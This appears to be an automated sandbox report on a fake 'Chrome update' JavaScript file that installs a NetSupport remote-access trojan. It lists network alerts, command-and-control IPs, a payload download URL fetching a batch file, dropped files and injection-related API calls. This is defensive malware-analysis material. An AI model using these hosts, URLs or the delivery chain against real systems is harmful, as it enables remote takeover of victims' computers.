Windows Analysis Report
Chrome_update(1).js

System process connects to network (likely due to code injection or exploit)

Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49705 version: TLS 1.2

Source:	Binary string: msvcr100.i386.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478952203.00000000714E1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000015.00000002.1218572408.00000000714E1000.00000020.00000001.01000000.0000000C.sdmp, client32.exe, 00000017.00000002.1298857900.00000000714E1000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3457728629.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000014.00000000.1161392451.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000015.00000002.1213390233.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000015.00000000.1199995240.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000000.1291215134.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000002.1295456808.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3480033440.0000000073D82000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000015.00000002.1220978753.0000000073D82000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000017.00000002.1299832912.0000000073D82000.00000002.00000001.01000000.0000000A.sdmp, PCICHEK.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3479803837.00000000715A5000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000015.00000002.1220316229.00000000715A5000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000017.00000002.1299697297.00000000715A5000.00000002.00000001.01000000.0000000B.sdmp, pcicapi.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	17_2_0040B174
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B6E9 __EH_prolog,FindFirstFileW,GetCurrentDirectoryW,	17_2_0040B6E9
Source: C:\ProgramData\client32.exe	Code function: 20_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	20_2_111273E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102D9F4
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102DD21
Source: C:\ProgramData\client32.exe	Code function: 20_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	20_2_1110BD70

Networking

Source: C:\Windows\System32\wscript.exe

Network Connect: 188.127.230.147 443

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2827745 ETPRO TROJAN NetSupport RAT CnC Activity 192.168.2.8:49707 -> 94.158.247.23:5050

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050

Source: Joe Sandbox View

ASN Name: DHUBRU DHUBRU

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 188.127.230.147 188.127.230.147

Source: global traffic

HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673 HTTP/1.1Accept: */*Accept-Language: en-CH,en-US;q=0.8,en-GB;q=0.5,en;q=0.2UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mangoairsoft.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 94.158.247.23:5050

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 02 Aug 2023 08:46:39 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 02 Aug 2023 08:46:41 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Wed, 02 Aug 2023 08:46:41 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.247.23

Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	String found in binary or memory: http://%s/testpage.htm
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://127.0.0.1
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: client32.exe, 00000014.00000002.3463990499.0000000003EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.247.23/fakeurl.htm
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: wscript.exe, 00000000.00000003.1213525045.000002C2E18F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1238985003.000002C2E18F9000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: client32.exe, 00000014.00000003.1223435505.0000000005F64000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3461272063.0000000001324000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000014.00000002.3459526690.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp(t5
Source: client32.exe, 00000014.00000002.3459526690.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp.
Source: client32.exe, 00000014.00000003.1223435505.0000000005F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp0
Source: client32.exe, 00000014.00000002.3464912499.0000000005F83000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1223435505.0000000005F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp3
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: client32.exe, 00000014.00000002.3459526690.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asppt5
Source: client32.exe, 00000014.00000003.1500233432.0000000005FF8000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3465509212.0000000006017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspv
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://s2.symcb.com0
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://sf.symcd.com0&
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(L
Source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	String found in binary or memory: http://www.netsupportsoftware.com
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
